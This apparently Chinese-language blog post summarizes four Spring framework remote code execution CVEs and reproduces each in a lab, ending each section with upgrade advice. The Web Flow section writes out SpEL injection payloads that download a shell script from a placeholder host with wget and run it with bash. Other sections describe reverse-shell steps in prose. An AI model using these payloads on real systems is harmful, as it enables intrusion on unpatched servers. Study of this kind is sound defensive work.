【网络安全】Spring 框架漏洞总结(二)
安全防护
1.使用 1.0.x 版本的用户应放弃在认证通过和错误这两个页面中使用 Whitelabel 这个视图。2.使用 2.0.x 版本的用户升级到 2.0.10 以及更高的版本
因为对 java 不是很熟,所以没有对底层原理进行分析
2.Spring Web Flow 框架远程代码执行(CVE-2017-4971)
漏洞简介
Spring Web Flow 是 Spring 的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的 field,将导致一个 SpEL 表达式注入漏洞,最终造成任意命令执行。
影响版本
触发条件
MvcViewFactoryCreator 对象的 useSpringBeanBinding 参数需要设置为 false(默认值)
flow view 对象中设置 BinderConfiguration 对象为空
漏洞复现
开启漏洞


点击 login

可以看见这里有很多默认的用户名密码,随便选一组登录系统

然后访问 id 为 1 的酒店地址:

点击预订按钮”Book Hotel",填写相关信息后点击“ Process”(从这一步,其实 WebFlow 就正式开始了)︰

随便输入一些内容后,我们点击 Proceed 然后会跳转到 Confirm 页面(Credit Card 为 16 位):

点击 confirm 时进行抓包


反弹 shell 的 poc:

exp 扩展
1、向里面写入文件
&_T(java.lang.Runtime).getRuntime().exec("touch /tmp/zcc")
![]()
2、使用 wget 下载远程 bash 脚本
&_T(java.lang.Runtime).getRuntime().exec("/usr/bin/wget -qO /tmp/shell http://x.x.x.x:xxxx/shell")
3、执行上一步下载的脚本
&_T(java.lang.Runtime).getRuntime().exec("/bin/bash /tmp/shell")
安全防护
官方已经发布了新版本,请受影响的用户及时更新升级至最新的版本来防护该漏洞。官方同时建议用户应该更改数据绑定的默认设置来确保提交的表单信息符合要求来规避类似恶意行为。参考链接:
对于这个漏洞的底层分析文章,大家可以看看这篇:https://paper.seebug.org/322/
3.Spring Data Rest 远程命令执行命令(CVE-2017-8046)
漏洞简介
Spring-data-rest 服务器在处理 PATCH 请求时,攻击者可以构造恶意的 PATCH 请求并发送给 spring-date-rest 服务器,通过构造好的 JSON 数据来执行任意 Java 代码。
影响版本
漏洞验证
开启漏洞环境:


看到 json 格式的返回值,说明这是一个 Restful 风格的 API 服务器。
访问如下 url,如果有下面回显,则说明存在该漏洞:

漏洞复现
bp 抓包,并且使用 PATCH 请求来修改:

创建文件 touch /tmp/zcc 的 poc,需要对其进行十进制编码:

将该编码写入 poc,放入请求包,注意 json 格式的 poc 上面留一个空行,Content-Type: 为 application/json-patch+json

成功写入:

反弹 shell 的 poc,先进行 base64 编码:


写入 poc,成功反弹。
安全防护
升级到以下最新版本:
Spring Data REST 2.5.12, 2.6.7, 3.0 RC3
Spring Boot 2.0.0.M4
Spring Data release train Kay-RC3
对于该漏洞底层原理分析的文章可以参考这一篇:https://blog.spoock.com/2018/05/22/cve-2017-8046/
4.Spring Messaging 远程命令执行突破(CVE-2018-1270)
漏洞简介
spring messaging 为 spring 框架提供消息支持,其上层协议是 STOMP,底层通信基于 SockJS,STOMP 消息代理在处理客户端消息时存在 SpEL 表达式注入漏洞,在 spring messaging 中,其允许客户端订阅消息,并使用 selector 过滤消息。selector 用 SpEL 表达式编写,并使用 StandardEvaluationContext 解析,造成命令执行漏洞。
影响版本
漏洞验证
开启漏洞


访问该页面:

漏洞复现
对反弹 shell 的命令 base64 编码:
创建 exp.py,自行修改 ip 和命令语句:


成功反弹。
安全防护
1.请升级 Spring 框架到最新版本(5.0.5、4.3.15 及以上版本);
2.如果你在用 SpringBoot,请升级到最新版本(2.0.1 及以上版本);
对于底层原理进行分析的文章可以参考这一篇:https://paper.seebug.org/562/
5.Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
漏洞简介
Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons 是 Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在 2.0.5 及以前版本中,存在一处 SpEL 表达式注入漏洞,攻击者可以注入恶意 SpEL 表达式以执行任意命令。
影响版本
漏洞验证
启动漏洞


漏洞复现
访问该 url,bp 抓包


加上 poc 的请求包如下:


成功写入。
反弹 shell:
写一个 shell.sh 文件,开启 http 服务:


下载执行 sh 脚本:



执行 shell.sh

成功反弹。
安全防护
受影响版本的用户应该应用以下缓解措施:
2.0.x 用户应该升级到 2.0.6
1.13.x 用户应该升级到 1.13.11
旧版本应升级到受支持的分支
已解决此问题的发布版本包括:
Spring Data REST 2.6.11(Ingalls SR11)
Spring Data REST 3.0.6(Kay SR6)
Spring Boot 1.5.11
Spring Boot 2.0.1
使用 Spring Security 提供的身份验证和授权,限定特定访问。
评论